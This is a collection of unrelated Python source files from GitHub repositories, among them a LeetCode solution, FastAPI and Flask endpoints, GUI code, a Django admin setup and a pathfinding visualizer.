interpolate_nd(data,\n get_coeffs,\n output_size=None,\n scale_factors=None,\n roi=None,\n **kwargs\n ):\n def get_all_coords(data):\n return cartesian([list(range(data.shape[i]))\n for i in range(len(data.shape))])\n\n assert output_size is not None or scale_factors is not None\n if output_size is not None:\n scale_factors = np.array(output_size) / np.array(data.shape)\n else:\n output_size = (scale_factors * np.array(data.shape)).astype(np.int32)\n assert scale_factors is not None\n\n ret = np.zeros(output_size)\n for x in get_all_coords(ret):\n ret[tuple(x)] = interpolate_nd_with_x(data, len(data.shape),\n scale_factors, x, get_coeffs, roi=roi,\n **kwargs)\n return ret\n\n\ndef cubic_coeffs(ratio, A=-0.75):\n coeffs = [\n ((A * (ratio + 1) - 5 * A) * (ratio + 1) + 8 * A) * (ratio + 1) - 4 * A,\n ((A + 2) * ratio - (A + 3)) * ratio * ratio + 1,\n ((A + 2) * (1 - ratio) - (A + 3)) * (1 - ratio) * (1 - ratio) + 1,\n ((A * ((1 - ratio) + 1) - 5 * A) * ((1 - ratio) + 1) + 8 * A) *\n ((1 - ratio) + 1) - 4 * A]\n\n return np.array(coeffs)\n\n\ndef linear_coeffs(ratio):\n return np.array([1 - ratio, ratio])\n\n\ndef nearest_coeffs(ratio, mode='round_prefer_floor'):\n if type(ratio) == int or ratio.is_integer():\n return np.array([0, 1])\n elif mode == 'round_prefer_floor':\n return np.array([ratio <= 0.5, ratio > 0.5])\n elif mode == 'round_prefer_ceil':\n return np.array([ratio < 0.5, ratio >= 0.5])\n elif mode == 'floor':\n return np.array([1, 0])\n elif mode == 'ceil':\n return np.array([0, 1])\n","repo_name":"gf712/onnxruntime-numpy","sub_path":"tests/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":17550,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"23678348989","text":"#\n# @lc app=leetcode.cn id=97 lang=python3\n#\n# [97] 交错字符串\n#medium\n'''\n给定三个字符串 s1、s2、s3,请你帮忙验证 s3 是否是由 s1 和 s2 交错 组成的。\n\n两个字符串 s 和 t 交错 的定义与过程如下,其中每个字符串都会被分割成若干 非空 子字符串:\n\ns = s1 + s2 + ... + sn\nt = t1 + t2 + ... + tm\n|n - m| <= 1\n交错 是 s1 + t1 + s2 + t2 + s3 + t3 + ... 或者 t1 + s1 + t2 + s2 + t3 + s3 + ...\n提示:a + b 意味着字符串 a 和 b 连接。\n\n \n\n示例 1:\n\n\n输入:s1 = \"aabcc\", s2 = \"dbbca\", s3 = \"aadbbcbcac\"\n输出:true\n示例 2:\n\n输入:s1 = \"aabcc\", s2 = \"dbbca\", s3 = \"aadbbbaccc\"\n输出:false\n示例 3:\n\n输入:s1 = \"\", s2 = \"\", s3 = \"\"\n输出:true\n \n\n来源:力扣(LeetCode)\n链接:https://leetcode-cn.com/problems/interleaving-string\n著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。\n'''\n# @lc code=start\nclass Solution:\n def isInterleave(self, s1: str, s2: str, s3: str) -> bool:\n # 因为包含两个字符串,所以动态规划需要包含两个维度,在状态转移方程中涉及到左右上下的判定\n len1 = len(s1)\n len2 = len(s2)\n len3 = len(s3)\n if (len1 +len2 != len3): return False\n #定义状态方程的矩阵,包含00点\n dp =[[False]*(len2 + 1) for i in range(len1+1)]\n dp[0][0] = True\n # 对初始行列进行定义,类似于最后的定义\n for i in range(1,len1+1):\n dp[i][0] = (dp[i-1][0] and s1[i-1] == s3[i-1]) #对于s1的状态转移\n for i in range(1,len2+1):\n dp[0][i] = (dp[0][i-1] and s2[i-1] == s3[i-1]) \n \n for i in range(1, 1 + len1 ):\n for j in range(1, 1 + len2):\n dp[i][j] = (dp[i - 1][j] and s1[i - 1] == s3[i + j - 1]) or (dp[i][j - 1] and s2[j - 1] == s3[i + j - 1])\n return dp[-1][-1]\n\n# @lc code=end\n\n","repo_name":"xinzhifumeng/learn","sub_path":"leetcode/97.交错字符串.py","file_name":"97.交错字符串.py","file_ext":"py","file_size_in_byte":1963,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"27264764592","text":"from fastapi import APIRouter, Depends\nfrom sqlalchemy.ext.asyncio import AsyncSession\n\nfrom app.core.db import get_async_session\nfrom app.core.user import current_superuser\nfrom app.schemas.charity_project import (\n CharityProjectDB,\n CharityProjectCreate,\n CharityProjectUpdate,\n)\nfrom app.services.charity_project import CharityProjectHandler\n\nrouter = APIRouter()\n\n\n@router.get(\n \"/\",\n response_model=list[CharityProjectDB],\n response_model_exclude_none=True,\n)\nasync def get_all_charity_projects(\n session: AsyncSession = Depends(get_async_session),\n):\n \"\"\"\n Возвращает список всех проектов.\n \"\"\"\n project_handler = CharityProjectHandler(session)\n all_projects = await project_handler.get_all_objects_from_db()\n return all_projects\n\n\n@router.post(\n \"/\",\n response_model=CharityProjectDB,\n dependencies=[\n Depends(current_superuser),\n ],\n response_model_exclude_none=True,\n)\nasync def create_charity_project(\n *,\n session: AsyncSession = Depends(get_async_session),\n charity_project: CharityProjectCreate,\n):\n \"\"\"\n Только для суперюзеров.\n Создаёт благотворительный проект.\n \"\"\"\n project_handler = CharityProjectHandler(session)\n new_charity_project = await project_handler.create_charity_project(\n charity_project\n )\n return new_charity_project\n\n\n@router.delete(\n \"/{project_id}\",\n response_model=CharityProjectDB,\n dependencies=[\n Depends(current_superuser),\n ],\n)\nasync def delete_charity_project(\n project_id: int,\n session: AsyncSession = Depends(get_async_session),\n):\n \"\"\"\n Только для суперюзеров.\n\n Удаляет проект.\n Нельзя удалить проект, в который уже были инвестированы средства,\n его можно только закрыть.\n \"\"\"\n project_handler = CharityProjectHandler(session)\n charity_project = await project_handler.delete_charity_project(project_id)\n return charity_project\n\n\n@router.patch(\n \"/{project_id}\",\n response_model=CharityProjectDB,\n dependencies=[\n Depends(current_superuser),\n ],\n)\nasync def update_charity_project(\n project_id: int,\n obj_in: CharityProjectUpdate,\n session: AsyncSession = Depends(get_async_session),\n):\n \"\"\"\n Только для суперюзеров.\n Закрытый проект нельзя редактировать;\n нельзя установить требуемую сумму меньше уже вложенной.\n \"\"\"\n project_handler = CharityProjectHandler(session)\n charity_project = await project_handler.update_charity_project(\n project_id, obj_in\n )\n return charity_project\n","repo_name":"Bigbrotherx/cat_charity_fund","sub_path":"app/api/endpoints/charity_project.py","file_name":"charity_project.py","file_ext":"py","file_size_in_byte":2831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"4148271190","text":"import sys\r\n\r\nfrom random import randint\r\nfrom PyQt5.QtWidgets import QApplication ,QGraphicsView, QGraphicsScene, QGraphicsEllipseItem, QGraphicsRectItem, QGraphicsLineItem\r\nfrom PyQt5.QtCore import Qt, QPointF\r\nfrom PyQt5.QtGui import QColor, QPen\r\n\r\n\r\nclass ConnexionLink(QGraphicsLineItem):\r\n def __init__(self, r1:QGraphicsRectItem ,r2:QGraphicsRectItem):\r\n rect1_center = r1.sceneBoundingRect().center()\r\n rect2_center = r2.sceneBoundingRect().center()\r\n super().__init__(rect1_center.x(), rect1_center.y(), rect2_center.x(), rect2_center.y())\r\n\r\n# Get the center point of the rectangles\r\n \r\n\r\n# Create a line between the two rectangles\r\n line = QGraphicsLineItem(rect1_center.x(), rect1_center.y(), rect2_center.x(), rect2_center.y())\r\n \r\n #pen = QPen(QColor(0,0,255))\r\n #pen.setWidth(13)\r\n #line.setPen(pen)\r\n\r\n def mouseMoveEvent(self, event):\r\n orig_cursor_position = event.lastScenePos()\r\n updated_cursor_position = event.scenePos()\r\n\r\n orig_position = self.scenePos()\r\n\r\n updated_cursor_x = updated_cursor_position.x() - orig_cursor_position.x() + orig_position.x()\r\n updated_cursor_y = updated_cursor_position.y() - orig_cursor_position.y() + orig_position.y()\r\n self.setPos(QPointF(updated_cursor_x, updated_cursor_y))\r\n","repo_name":"Bricedeknife/FileExplorer","sub_path":"Connexion.py","file_name":"Connexion.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"705297065","text":"\"\"\"Model of an Office as property type\"\"\"\nfrom models.additional.address import Address\nfrom models.client.client import Client\nfrom models.properties.property import Property\nfrom functions.utilities import check_sqm, check_integer, is_yes\n\n\nclass Office(Property):\n def __init__(self, property_id: str, address: Address, sqm: float, owner: Client,\n office_number: int, number_of_offices: int, terrace: bool = False, parking_spaces: int = 0,\n air_conditioning: bool = False, heating: bool = False):\n super().__init__(property_id, address, sqm, owner)\n self.__office_number = office_number\n self.__number_of_offices = number_of_offices\n self.__terrace = terrace\n self.__parking_spaces = parking_spaces\n self.__air_conditioning = air_conditioning\n self.__heating = heating\n\n def __str__(self):\n additional_features = \"Additional features: \"\n if self.__terrace is True:\n additional_features += \"Terrace, \"\n if self.__heating is True:\n additional_features += \"Heating, \"\n if self.__air_conditioning is True:\n additional_features += \"Air conditioning, \"\n if additional_features[-2] == \",\":\n additional_features = additional_features[:-2]\n\n return f\"Office info:\\n\" \\\n f\"Office number {self.__office_number}\\n\" \\\n f\"Number of offices {self.__number_of_offices}\\n\" \\\n f\"{self.get_sqm()} m2\\n\" \\\n f\"Number of parking spaces {self.__parking_spaces}\\n\" \\\n f\"{additional_features}\\n\" \\\n f\"{self.get_address()}\\n\" \\\n f\"{self.get_owner()}\"\n\n def get_number(self):\n return self.__office_number\n\n def get_number_of_offices(self):\n return self.__number_of_offices\n\n def get_terrace(self):\n return self.__terrace\n\n def get_parking_spaces(self):\n return self.__parking_spaces\n\n def get_air_conditioning(self):\n return self.__air_conditioning\n\n def get_heating(self):\n return self.__heating\n\n @classmethod\n def create(cls):\n print(\"Fill office details\")\n property_id = input(\"Enter property id: \")\n print(\"Enter office number\")\n office_number = check_integer()\n print(\"Enter number of offices\")\n number_of_offices = check_integer()\n sqm = check_sqm()\n print(\"Enter number of available parking spaces for employees\")\n parking_space = check_integer()\n print(\"Terrace?\")\n terrace = is_yes()\n print(\"Air conditioning?\")\n air_conditioning = is_yes()\n print(\"Heating?\")\n heating = is_yes()\n address = Address.create()\n owner = Client.create()\n return cls(property_id, address, sqm, owner, office_number, number_of_offices, terrace, parking_space,\n air_conditioning, heating)\n","repo_name":"vllajkos/real-estate-agency-cli-application","sub_path":"models/properties/office.py","file_name":"office.py","file_ext":"py","file_size_in_byte":2932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15187122058","text":"#from interior_layout import ifield\nimport PySimpleGUI as sg\nimport pandas as pd,csv,os\nfrom datetime import datetime\nfrom dong_data import *\nfrom layout.mysettings import base \n\nprint(base,base.bg)\nclass table(base):\n fg,bg = 'black','#bbb'\n font = ('맑은 고딕',12,'normal')\n pad = (1,1)\n\nclass ifield(base):\n fg,bg = 'black','#bbb'\n font = ('맑은 고딕',15,'normal')\n pad = (1,1)\n\ncsvfile = '보양재현황.csv'\n\ndef read_csv(csvfile):\n from os.path import exists as file_exists\n if not file_exists(csvfile):\n return\n #raise Exception('FileNotFoundError {}'.format(csvfile))\n rows = []\n with open(csvfile, 'r') as file:\n reader = csv.reader(file)\n for row_no,row in enumerate(reader):\n if row_no == 0: continue\n rows.append(row)\n return rows\n\n#headings = ' 동 세대 층 EV 초소 1F B1a B1b B2a B2b 1F3,4L B1c B1d B2c B2d '.split()\nheadings = '위 치,관할초소,승강기 보양재,바닥 보양재,카트'.split(',')\ncol_w = [ 12, 10, 10, 10, 10]\nlayout = [\n [sg.Table(values=read_csv(csvfile), headings=headings,\n col_widths = col_w, font = table.font,\n text_color=base.fg,background_color = base.bg,alternating_row_color = '#001222',\n header_font=base.font, header_text_color = 'black', header_background_color = '#999',\n max_col_width=35, auto_size_columns=False,display_row_numbers=False, hide_vertical_scroll = True,\n justification = 'center', num_rows=45, key='dongtable',row_height=30)]\n ]\n\n# NOTE set options and theme\nsg.set_options(font=ifield.font)\nsg.theme('Dark')\nsg.theme_background_color(base.bg)\n\n# NOTE create sg.Window\nwindow = sg.Window('보양재현황',layout,background_color=base.bg, margins=(40,30), size=(700,800), resizable=True, keep_on_top=False, finalize=True)\n\nwhile True:\n event,values = window.read()\n if event == sg.WIN_CLOSED or event == 'Exit':\n break\n\n\nwindow.close()\n","repo_name":"MeetLuck/kivystartpage","sub_path":"boyang_information.py","file_name":"boyang_information.py","file_ext":"py","file_size_in_byte":2000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"4360054894","text":"import os\nimport re\nfrom codecs import open\n\nfrom setuptools import find_packages, setup\n\nhere = os.path.abspath(os.path.dirname(__file__))\n\nwith open(os.path.join(here, \"README.md\"), encoding=\"utf-8\") as f:\n long_description = f.read()\nlong_description_content_type = \"text/markdown\"\n\nVERSION = \"1.0.0\"\n\nsetup(\n name=\"ipd\",\n version=VERSION,\n description=\"An IPD - Image Push and Deploy\",\n long_description=long_description,\n long_description_content_type=long_description_content_type,\n url=\"https://bnipi-git-1.rosneft.ru/mobile/ipd\",\n author=\"Vitaly Chekryzhev\",\n author_email=\"VA_Chekryzhev@bnipi.rosneft.ru\",\n license=\"Proprietary\",\n classifiers=[\n \"Development Status :: 5 - Production/Stable\",\n \"Operating System :: POSIX\",\n \"Programming Language :: Python :: 3 :: Only\",\n \"Programming Language :: Python :: Implementation :: CPython\",\n \"Topic :: Internet :: WWW/HTTP :: HTTP Servers\",\n \"Topic :: System :: Networking :: Monitoring\",\n \"Typing :: Typed\",\n ],\n project_urls={\n \"Source\": \"https://bnipi-git-1.rosneft.ru/mobile/ipd/\",\n },\n packages=find_packages(\n include=[\n \"ipd\",\n \"ipd.*\",\n ]\n ),\n include_package_data=True,\n entry_points={\n \"console_scripts\": [\n \"ipd = ipd.ipd:main\",\n ]\n },\n python_requires=\">=3.6\",\n install_requires=[\n \"flask\",\n \"waitress\",\n ],\n extras_require={\n \"dev\": [],\n },\n)\n","repo_name":"13hakta/ipd","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"8135873478","text":"import sys\nfrom heapq import heapify, heappop, heappush\nfrom queue import PriorityQueue\n\ninput = sys.stdin.readline\n\n# 1은 다 더해주기\n# 0 개수 세어놓기\n# 음수는 음수끼리\n# 음���남으면 0이랑\n# 안되면 그냥 더하기\n# 양수는 그냥 큰거끼리 묶으면 됨\n\nN = int(input())\nplus_arr = PriorityQueue()\nminus_arr = PriorityQueue()\nanswer = 0\none = 0\nzero = 0\n\nfor _ in range(N):\n x = int(input())\n if x == 1:\n one += 1\n elif x == 0:\n zero += 1\n elif x<0:\n minus_arr.put(x)\n else:\n plus_arr.put(-x)\n\n# 음수는 음수끼리!\nwhile minus_arr.qsize() > 1:\n a = minus_arr.get()\n b = minus_arr.get()\n answer += a*b\n\nif minus_arr.qsize() != 0:\n if zero != 0:\n minus_arr.get()\n else:\n answer += minus_arr.get()\n\n# 양수는 양수끼리!\nwhile one != 0:\n answer += 1\n one -= 1\n\nwhile plus_arr.qsize() > 1:\n a = plus_arr.get()\n b = plus_arr.get()\n answer += a*b\n\nif plus_arr.qsize() != 0:\n answer += (-1) * plus_arr.get()\n\n\nprint(answer)","repo_name":"5zo-s-magician/CodingTest","sub_path":"KHJ/두잇/034_수묶기_1744.py","file_name":"034_수묶기_1744.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36798837436","text":"# app/auth/views.py\n\nimport os\nfrom flask import flash, redirect, render_template, url_for, current_app\nfrom flask_login import login_required, current_user\n\nfrom . import alias\nfrom .forms import NewAliasForm\nfrom .. import db\nfrom ..models import Alias, generate_secret\nimport string\n\n\n@alias.route('/aliases/add', methods=['GET', 'POST'])\n@login_required\ndef aliases_add():\n \"\"\"\n Handle requests to /aliases/add route\n New Alias\n :return:\n \"\"\"\n\n domain = current_app.config['DOMAIN']\n if domain is None:\n raise Exception(\"Domain not found\")\n\n default_source = f'{generate_secret(10, string.ascii_lowercase)}@{domain}'\n form = NewAliasForm(source=default_source, destination=current_user.email)\n\n if form.validate_on_submit():\n alias_obj = Alias(name=form.name.data, source=form.source.data,\n destination=form.destination.data, user_id=current_user.id)\n\n # add alias to the db\n db.session.add(alias_obj)\n db.session.commit()\n flash('Successfully added new alias')\n\n # redirect to page\n return redirect(url_for('alias.aliases'))\n\n return render_template('alias/aliases_add.html', form=form, title='New Alias')\n\n\n@alias.route('/aliases', methods=['GET', 'POST'])\n@login_required\ndef aliases():\n \"\"\"\n Handle requests to /aliases route\n List user aliases\n :return:\n \"\"\"\n\n aliases_list = Alias.query.filter_by(user_id=current_user.id).all()\n\n return render_template('alias/aliases.html', aliases=aliases_list, title='Aliases')\n\n\n@alias.route('/aliases/delete/', methods=['GET', 'POST'])\n@login_required\ndef aliases_del(id):\n \"\"\"\n Handle requests to /aliases/delete/ route\n Delete Alias\n :return:\n \"\"\"\n\n aliases_list = Alias.query.filter_by(id=id, user_id=current_user.id).first_or_404()\n db.session.delete(aliases_list)\n db.session.commit()\n flash('Successfully deleted Alias')\n\n return redirect(url_for('alias.aliases'))\n","repo_name":"Guisch/keemailserver","sub_path":"app/alias/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18137250349","text":"from django.contrib import admin\nfrom django.contrib.auth.admin import UserAdmin\nfrom . models import User\n# Register your models here.\n\nclass CustomUserAdmin(UserAdmin):\n # prepopulated_fields = {\"slug\": (\"username\",)}\n fieldsets = (\n *UserAdmin.fieldsets, # original form fieldsets, expanded\n ( # new fieldset added on to the bottom\n 'Custom Field Heading', # group heading of your choice; set to None for a blank space instead of a header\n {\n 'fields': (\n ),\n },\n ),\n )\n # def get_queryset(self, request):\n # query = super(UserAdmin, self).get_queryset(request)\n # query_set = query.filter(is_superuser=False)\n # return query_set\n\nadmin.site.register(User, CustomUserAdmin)","repo_name":"kells4real/todo_rest_api","sub_path":"accounts/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28533465515","text":"import SKiNN\nimport SKiNN.src.NN_models as NN_models\nimport sys\nimport numpy as np\nimport torch\nimport os\nos.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\n\n\nclass Generator(object):\n def __init__(self):\n weights_path = SKiNN.useful_functions.get_weights_path()\n self.model = NN_models.Generator_imp()\n self.net = self.model.load_from_checkpoint(weights_path).cuda()\n self.scaling_y = SKiNN.useful_functions.get_scaling_y()\n self.scaling_x = SKiNN.useful_functions.get_scaling_x()\n\n def generate_map(self, input_p):\n \"\"\"Generate velocity maps given input parameters.\n input_p: input parameters (before normalization scaling)\n Returns the velocity map(s)\n \"\"\"\n self.input_p = self.scaling_x.transform(np.reshape(input_p, (-1, len(input_p))))\n self.input_p = torch.Tensor(self.input_p).cuda()\n self.net.eval()\n with torch.no_grad():\n self.pred = self.net(self.input_p).cpu().numpy()\n scaled_pred=self.pred[0,:,:].squeeze() * self.scaling_y\n mirrored_pred=self.mirror_output(scaled_pred)\n output=np.maximum(mirrored_pred,np.zeros_like(mirrored_pred))\n return output\n\n def mirror_output(self, prediction_image):\n \"\"\"\n Because the prediction image is only one quarter of the whole image, this function mirrors it to produce the full image\n \"\"\"\n pred_2d = np.squeeze(prediction_image)\n vert_mirror = pred_2d[::-1, :]\n tall = np.concatenate((pred_2d[:-1, :], vert_mirror), axis=0)\n horz_mirror = tall[:, ::-1]\n return np.concatenate((tall[:, :-1], horz_mirror), axis=1)","repo_name":"mattgomer/SKiNN","sub_path":"SKiNN/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":1654,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"17334368744","text":"class Counter:\n # инициализация класс счетчка с заданием начального\n # значения 0 и проверкой на неотрицательность\n def __init__(self, value=0):\n if value < 0:\n self.value = 0\n else:\n self.value = value\n # добавление метода который увеличивает значение\n # на дельту (по умолчанию 1) и ВОЗВРАЩАЕТ\n # новый экземпляр счетчика с прибавленным значением\n def inc(self, delta=1):\n # ЗДЕСЬ ВОЗРАЩАЕТСЯ ОБЪЕКТ СЧЕТЧИКА\n # то есть результатом исполнения МЕТОДА класса\n # будет ОБЪЕКТ ЭТОГО КЛАССА (ВНУТРИ КЛАССА ВЫЗЫВАЕТСЯ САМ КЛАСС)\n return Counter(self.value + delta)\n # здесь аналогично, только уменьшение счетчика\n # и есть проверка состояния счетчика на неотрицательность\n def dec(self, delta=1):\n if self.value - delta < 0:\n self.value = 0\n return Counter(self.value - delta)\n\n\nc = Counter()\nprint(c.inc().inc(5).dec(2).value)\n\n# Старый экземпляр не должен изменяться\nd = c.inc(100)\nprint(d.dec().value) # 99\n\nforty_two = Counter(42)\nprint(forty_two.value) # 42","repo_name":"Streinge/Training","sub_path":"object_lesson6.py","file_name":"object_lesson6.py","file_ext":"py","file_size_in_byte":1518,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20347168654","text":"from UI.BUTTONClass import button\nfrom UI.NODEClass import NODE\nfrom UI.SLIDERClass import slider\nfrom settings import *\n\n\ndef createGrid():\n grid = [[NODE(j, i, CELLSIZE) for i in range(width)] for j in range(height)]\n # border\n for i in range(width):\n grid[0][i].setCell(-1, COLOR[\"BLACK\"], True)\n grid[height - 1][i].setCell(-1, COLOR[\"BLACK\"], True)\n for j in range(height):\n grid[j][0].setCell(-1, COLOR[\"BLACK\"], True)\n grid[j][width - 1].setCell(-1, COLOR[\"BLACK\"], True)\n return grid\n\n\ndef getMousePos():\n mouseCol, mouseRow = pygame.mouse.get_pos()\n mouseX, mouseY = mouseCol // CELLSIZE, mouseRow // CELLSIZE\n return mouseY, mouseX\n\n\ndef valid(x, y):\n return 0 < x < width - 1 and 0 < y < height - 1\n\n\ndef createPath(start, end):\n path = []\n current = end\n while not current.posEqual(start):\n path.append(current)\n current = current.parent\n path.pop(0)\n return path\n\n\ndef reDrawScreen(grid):\n screen.fill(COLOR[\"GREY\"]) # set background color\n # draw grid\n for i in grid:\n for cell in i:\n cell.draw(screen)\n for bnt in buttons.values():\n if buttonsInfo[bnt.id][\"screen\"] == \"main\":\n bnt.draw(screen)\n\n for s in sliders:\n s.draw()\n pygame.display.update()\n\n\ndef clearPath(grid):\n for i in grid:\n for j in i:\n if j.state == 4 or j.state == 5 or j.state == 6:\n j.resetCell()\n\n\ndef clearALL(grid, walls):\n for i in grid:\n for j in i:\n if j.state != 1 and j.state != 2 and j.state != -1:\n if j.state == 3:\n walls.remove(j)\n j.resetCell()\n\ndef createSlider(name,info):\n return slider(name,info[\"val\"],info[\"maxi\"],info[\"mini\"],info[\"xpos\"],info[\"ypos\"])\n\ndef loadSlider():\n for name,s in slidersInfo.items():\n newSlider = createSlider(name,s)\n sliders.append(newSlider)\n\ndef sliderClicked():\n pos = pygame.mouse.get_pos()\n for s in sliders:\n if s.button_rect.collidepoint(pos):\n s.hit = True\n\ndef createButton(col, row, l, w, color, hl, msg, id):\n return button(col, row, l, w, color, hl, msg, id)\n\ndef loadBUttons():\n for key,value in buttonsInfo.items():\n buttons[key] = createButton(value[\"position\"][0], value[\"position\"][1], value[\"dimension\"][0],\n value[\"dimension\"][1], value[\"color\"], value[\"highLight\"], value[\"msg\"],\n value[\"id\"])\n if key in algs:\n buttons[key].algSet = False\n\n if key == \"BFS\":\n # init the default alg\n buttons[key].highLighted = True\n buttons[key].algSet = True\n\n\ndef buttonHover():\n # highlight button when hovering over\n for bnt in buttons.values():\n if bnt.onButton(pygame.mouse.get_pos()):\n bnt.highlightButton()\n else:\n bnt.unhighlightButton()\n\ndef buttonClicked(alg):\n \"\"\"\n function to change alg base on button clicked +\n activate functionality of buttons\n \"\"\"\n # check if one of the button is clicked\n buttonChanged = [False]\n for bnt in buttons.values():\n if bnt.onButton(pygame.mouse.get_pos()):\n if bnt.algSet is None: # not a alg button\n if bnt.id == \"INSTRUCTION\":\n instructions()\n return alg\n if not bnt.algSet:\n bnt.highlightButton()\n alg = bnt.id\n buttonChanged = [True,bnt]\n bnt.algSet = True\n break\n\n if buttonChanged[0]:\n for bnt in buttons.values():\n if bnt == buttonChanged[1]:\n continue\n else:\n if bnt.algSet is None:\n continue\n bnt.unhighlightButton()\n bnt.algSet = False\n return alg\n\ndef instructions():\n run = True\n while run:\n screen.fill(COLOR[\"GREY\"]) # set background color\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False\n exit()\n\n if event.type == pygame.MOUSEBUTTONDOWN:\n for bnt in buttons.values():\n if bnt.onButton(pygame.mouse.get_pos()):\n if bnt.algSet is None: # not a alg button\n if bnt.id == \"INSTRU_BACK\":\n run = False\n\n # render text\n titlefont = pygame.font.SysFont(\"comicsans\", 40)\n titleRect = pygame.Rect((0, 20, screen.get_rect().width, 80))\n rendered_title = render_textrect(instructionText[\"title\"],titlefont,titleRect,COLOR[\"BLACK\"],COLOR[\"GREY\"],1)\n\n textfont = pygame.font.SysFont(\"comicsans\", 30)\n textRect = pygame.Rect((15, 100, screen.get_rect().width, 700))\n rendered_text = render_textrect(instructionText[\"text\"],textfont,textRect,COLOR[\"DARKGREY\"],COLOR[\"GREY\"])\n\n if rendered_text:\n screen.blit(rendered_text, textRect.topleft)\n if rendered_title:\n screen.blit(rendered_title,titleRect.topleft)\n\n # render button\n for bnt in buttons.values():\n if buttonsInfo[bnt.id][\"screen\"] == \"instruction\":\n bnt.draw(screen)\n\n buttonHover()\n pygame.display.update()\n\nclass TextRectException:\n def __init__(self, message = None):\n self.message = message\n def __str__(self):\n return self.message\n\ndef render_textrect(string, font, rect, text_color, background_color, justification=0):\n # http://www.pygame.org/pcr/text_rect/index.php\n\n \"\"\"Returns a surface containing the passed text string, reformatted\n to fit within the given rect, word-wrapping as necessary. The text\n will be anti-aliased.\n\n Takes the following arguments:\n\n string - the text you wish to render. \\n begins a new line.\n font - a Font object\n rect - a rectstyle giving the size of the surface requested.\n text_color - a three-byte tuple of the rgb value of the\n text color. ex (0, 0, 0) = BLACK\n background_color - a three-byte tuple of the rgb value of the surface.\n justification - 0 (default) left-justified\n 1 horizontally centered\n 2 right-justified\n\n Returns the following values:\n\n Success - a surface object with the text rendered onto it.\n Failure - raises a TextRectException if the text won't fit onto the surface.\n \"\"\"\n final_lines = []\n\n requested_lines = string.splitlines()\n\n # Create a series of lines that will fit on the provided\n # rectangle.\n\n for requested_line in requested_lines:\n if font.size(requested_line)[0] > rect.width:\n words = requested_line.split(' ')\n # if any of our words are too long to fit, return.\n for word in words:\n if font.size(word)[0] >= rect.width:\n raise Exception(TextRectException, \"The word \" + word + \" is too long to fit in the rect passed.\")\n # Start a new line\n accumulated_line = \"\"\n for word in words:\n test_line = accumulated_line + word + \" \"\n # Build the line while the words fit.\n if font.size(test_line)[0] < rect.width:\n accumulated_line = test_line\n else:\n final_lines.append(accumulated_line)\n accumulated_line = word + \" \"\n final_lines.append(accumulated_line)\n else:\n final_lines.append(requested_line)\n\n # Let's try to write the text out on the surface.\n\n surface = pygame.Surface(rect.size)\n surface.fill(background_color)\n\n accumulated_height = 0\n for line in final_lines:\n if accumulated_height + font.size(line)[1] >= rect.height:\n raise Exception (TextRectException, \"Once word-wrapped, the text string was too tall to fit in the rect.\")\n if line != \"\":\n tempsurface = font.render(line, 1, text_color)\n if justification == 0:\n surface.blit(tempsurface, (0, accumulated_height))\n elif justification == 1:\n surface.blit(tempsurface, ((rect.width - tempsurface.get_width()) / 2, accumulated_height))\n elif justification == 2:\n surface.blit(tempsurface, (rect.width - tempsurface.get_width(), accumulated_height))\n else:\n raise Exception (TextRectException, \"Invalid justification argument: \" + str(justification))\n accumulated_height += font.size(line)[1]\n\n return surface","repo_name":"SYMAIN/PathFindingVisualizerPython","sub_path":"UIfunc.py","file_name":"UIfunc.py","file_ext":"py","file_size_in_byte":8675,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"2321263458","text":"import sys\nimport json\n\ndef read_txt(file_name : str) -> str:\n mark = \"\"\n with open(file_name, 'r') as handle:\n for line in handle:\n if line.startswith('>'):\n continue\n mark += line.strip()\n return mark\n\ndef read_csv(file_name : str) -> list:\n mark = []\n with open(file_name, 'r') as handle:\n for line in handle:\n if line.startswith('#'):\n header = line.strip().split(\",\")\n else:\n splitted = line.strip().split(\",\")\n d = dict(zip(header, splitted))\n mark.append(d)\n return mark\n\ndef read_tsv(file_name :str) -> list:\n mark = []\n with open(file_name, 'r') as handle:\n for line in handle:\n if line.startswith('#'):\n header = line.strip().split(\"\\t\")\n else:\n splitted = line.strip().split(\"\\t\")\n d = dict(zip(header, splitted))\n mark.append(d)\n return mark\n\ndef to_json(l :list, file_name : str) -> None:\n with open(\"switch_to_json.json\", 'w') as handle:\n json.dump(l,handle,indent = 4)\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 2:\n print(f\"#Usage : python {sys.argv[0]}[txt]\")\n sys.exit()\n\n file_name = sys.argv[1]\n #txt = read_txt(file_name)\n #print(txt)\n\n mark = read_csv(file_name)\n #print(mark)\n\n #mark = read_tsv(file_name)\n #print(mark)\n\n to_json(makr, \"switch_to_json.json\") 